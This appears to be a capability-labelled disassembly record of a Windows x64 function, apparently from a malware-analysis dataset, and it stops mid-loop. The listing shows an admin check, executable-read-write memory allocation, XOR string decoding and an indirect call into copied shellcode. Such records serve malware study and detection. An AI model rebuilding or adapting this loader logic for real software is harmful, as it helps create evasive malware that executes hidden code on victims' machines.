Function at 0x1401f8d00
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1f8]
sub rsp, 0x2d0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
mov rax, qword [0x14028a040]
xor rax, rsp
mov qword [rbp + 0x158], rax
mov rbx, rcx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
lea rcx, [rbp + 0x1f8]
movabs rdi, 0xff00ff00ff00ff00
mov qword [rbp + 0x148], rdi
mov qword [rbp + 0x150], rcx
mov rax, qword [rcx]
xor rax, rdi
mov qword [rbp - 0x78], rax
mov qword [rbp + 0x140], rax
mov qword [rcx], r12
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1401f8f3b
cmp qword [rbx + 0x18], 0xf
jbe 0x1401f8db9
mov rbx, qword [rbx]
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea r13, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], r13
mov r15, qword [r13]
xor r15, rdi
mov qword [rbp + 0xe0], r15
mov qword [r13], r12
mov ecx, r12d
lea r14, [0x140242e20]
lea rbx, [0x140000000]
mov rax, qword [0x1402910a0]
test rax, rax
je 0x1401f8e39
mov rdx, r12
nop
cmp rax, r14
je 0x1401f8e28
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2910a0]
test rax, rax
jne 0x1401f8e10
jmp 0x1401f8e39
mov r8, qword [rbx + rdx*8 + 0x28f710]
test r8, r8
jne 0x1401f8f1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401f8e62
mov r8, r12
jmp 0x1401f8efe
mov rax, r14
mov rcx, r8
mov esi, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x1401f8e70
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028d160]
mov qword [rbx + rax*8 + 0x2910a0], r14
mov qword [rbx + rax*8 + 0x28f710], r8
inc rax
mov qword [0x14028d160], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f41f0]
call r8
nop
xor r15, rdi
mov qword [r13], r15
jmp 0x1401faae5
mov rdx, rbx
lea rcx, [rbp - 0x70]
call fcn.1401f3810
nop
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.1401f7520
nop
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.1401f3960
nop
lea rcx, [rbp + 0xc0]
call fcn.140240ed0
nop
lea rcx, [rbp - 0x70]
call fcn.140240ed0
movups xmm0, xmmword [str.3_g_.__6uu]
movups xmmword [rsp + 0x48], xmm0
movups xmm1, xmmword [str.__05_._.2.]
movups xmmword [rsp + 0x58], xmm1
movups xmm0, xmmword [0x140277098]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402770a8]
movsd qword [rsp + 0x78], xmm0
mov eax, dword [0x1402770b0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x1402770b4]
mov word [rbp - 0x7c], ax
movzx eax, byte [0x1402770b6]
mov byte [rbp - 0x7a], al
mov r9d, r12d
movdqa xmm6, xmmword [0x140279660]
movdqa xmm9, xmmword [0x140279680]
movdqa xmm11, xmmword [str.kkkkoooo]
movdqa xmm12, xmmword [0x1402796c0]
movdqa xmm7, xmmword [0x1402796b0]
movdqa xmm8, xmmword [0x140279690]
movdqa xmm10, xmmword [0x140279550]
mov r15d, dword [0x14028a090]
cmp r15d, 2
jl 0x1401f91b9
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rsp + 0x4c]
mov edx, dword [rbp + 0xe0]
nop dword [rax]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm11
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm12
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x38
jl 0x1401f9040
cmp r9d, 0x3f
jge 0x1401f9221
movsxd rax, r9d
lea r10, [rsp + 0x48]
add r10, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x3f
jl 0x1401f91d0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r14, qword [rax]
xor r14, rdi
mov qword [rbp + 0xe0], r14
mov qword [rax], r12
mov ecx, r12d
mov esi, 3
lea rbx, [0x140000000]
lea r13, [0x140242e20]
mov rax, qword [0x14028e440]
test rax, rax
je 0x1401f92a9
mov rdx, r12
nop
cmp rax, r13
je 0x1401f9298
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x28e440]
test rax, rax
jne 0x1401f9280
jmp 0x1401f92a9
mov r8, qword [rbx + rdx*8 + 0x28ddf0]
test r8, r8
jne 0x1401f938f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401f92d2
mov r8, r12
jmp 0x1401f936e
mov rax, r13
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f92e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028dab0]
mov qword [rbx + rax*8 + 0x28e440], r13
mov qword [rbx + rax*8 + 0x28ddf0], r8
inc rax
mov qword [0x14028dab0], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f41f0]
call r8
nop
mov dword [rsp + 0x40], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xe0], r14
mov qword [rax], r12
mov ecx, r12d
lea r13, [0x140242e50]
mov rax, qword [0x14028e110]
test rax, rax
je 0x1401f9419
mov rdx, r12
nop dword [rax]
cmp rax, r13
je 0x1401f9408
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x28e110]
test rax, rax
jne 0x1401f93f0
jmp 0x1401f9419
mov r8, qword [rbx + rdx*8 + 0x2903f0]
test r8, r8
jne 0x1401f94ff
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1401f9442
mov r8, r12
jmp 0x1401f94de
mov rax, r13
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f9450
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
mov qword [rbx + rax*8 + 0x28e110], r13
mov qword [rbx + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r14, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r14
movups xmm0, xmmword [str.ccj_imm44u6_____6_86_..:]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [0x1402774a0]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x1402774b0]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x1402774c0]
movups xmmword [rbp + 0x70], xmm1
movups xmm0, xmmword [0x1402774d0]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x1402774e0]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [str.d_psl_1AP]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x140277500]
movsd qword [rbp + 0xb0], xmm0
movzx eax, byte [0x140277508]
mov byte [rbp + 0xb8], al
mov r9d, r12d
cmp r15d, 2
jl 0x1401f9729
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp + 0x44]
mov edx, dword [rbp + 0xe0]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x78
jl 0x1401f95b0
cmp r9d, 0x79
jge 0x1401f9791
movsxd rax, r9d
lea r10, [rbp + 0x40]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x79
jl 0x1401f9740
movups xmm0, xmmword [str.3_g___ose]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [0x140275b80]
movups xmmword [rbp - 0x20], xmm1
movups xmm0, xmmword [0x140275b90]
movups xmmword [rbp - 0x10], xmm0
movups xmm1, xmmword [0x140275ba0]
movups xmmword [rbp], xmm1
movups xmm0, xmmword [0x140275bb0]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x140275bc0]
movups xmmword [rbp + 0x20], xmm1
movsd xmm0, qword [str.bqlw_hwt3]
movsd qword [rbp + 0x30], xmm0
movzx eax, word [0x140275bd8]
mov word [rbp + 0x38], ax
movzx eax, byte [0x140275bda]
mov byte [rbp + 0x3a], al
mov r9d, r12d
cmp r15d, 2
jl 0x1401f9999
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp - 0x2c]
mov edx, dword [rbp + 0xe0]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm8
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm12
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm11
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x68
jl 0x1401f9820
cmp r9d, 0x6b
jge 0x1401f9a01
movsxd rax, r9d
lea r10, [rbp - 0x30]
add r10, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x6b
jl 0x1401f99b0
lea rax, [rbp - 0x30]
mov r15, 0xffffffffffffffff
mov rcx, r15
nop
inc rcx
cmp byte [rax + rcx], 0
jne 0x1401f9a10
movabs r13, 0x7fffffffffffffff
mov rax, r13
mov rdx, qword [rbp + 0x130]
sub rax, rdx
cmp rax, rcx
jb 0x1401fab4c
lea rax, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rax, qword [rbp + 0x120]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x30]
lea rcx, [rsp + 0x48]
call fcn.1402462d0
nop
lea rax, [rbp + 0x40]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x1401f9a75
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.14023f5d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rax, qword [rbp + 0x100]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
lea r14, [0x140242e20]
mov rax, qword [0x1402910a0]
test rax, rax
je 0x1401f9b59
xor edx, edx
nop dword [rax]
cmp rax, r14
je 0x1401f9b48
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x2910a0]
test rax, rax
jne 0x1401f9b30
jmp 0x1401f9b59
mov r8, qword [rbx + rdx*8 + 0x28f710]
test r8, r8
jne 0x1401f9c3f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f9c1e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f9b90
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028d160]
mov qword [rbx + rax*8 + 0x2910a0], r14
mov qword [rbx + rax*8 + 0x28f710], r8
inc rax
mov qword [0x14028d160], rax
lea rdx, [rsp + 0x40]
lea rcx, [fcn.1401f41f0]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
lea rcx, [rbp + 0x100]
call fcn.140240fd0
nop
lea rcx, [rsp + 0x48]
call fcn.140240fd0
mov dword [rsp + 0x40], 0x96
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
lea rax, [rbp + 0x1f8]
mov qword [rbp + 0xe8], rdi
mov qword [rbp + 0xf0], rax
mov r12, qword [rax]
xor r12, rdi
mov qword [rbp + 0xe0], r12
mov qword [rax], 0
xor ecx, ecx
mov rax, qword [0x14028e110]
test rax, rax
je 0x1401f9cee
xor edx, edx
lea r8, [0x140242e50]
cmp rax, r8
je 0x1401f9cdd
inc ecx
mov edx, ecx
mov rax, qword [rbx + rcx*8 + 0x28e110]
test rax, rax
jne 0x1401f9cc5
jmp 0x1401f9cee
mov r8, qword [rbx + rdx*8 + 0x2903f0]
test r8, r8
jne 0x1401f9dd6
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
je 0x1401f9dae
lea rax, [0x140242e50]
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1401f9d20
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
lea rcx, [0x140242e50]
mov qword [rbx + rax*8 + 0x28e110], rcx
mov qword [rbx + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x40]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor r12, rdi
lea rax, [rbp + 0x1f8]
mov qword [rax], r12
movups xmm0, xmmword [str.27_5kb_rq]
movups xmmword [rbp + 0x100], xmm0
movsd xmm0, qword [0x140277270]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x140277278]
mov dword [rbp + 0x118], eax
movzx eax, word [0x14027727c]
mov word [rbp + 0x11c], ax
cmp byte [0x14027727d], 0
je 0x1401fa041
xor r9d, r9d
cmp dword [0x14028a090], 2
jl 0x1401f9fd9
movdqa xmmword [rbp + 0xe0], xmm9
lea rcx, [rbp + 0x104]
mov edx, dword [rbp + 0xe0]
nop
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm8
movdqa xmm0, xmm1
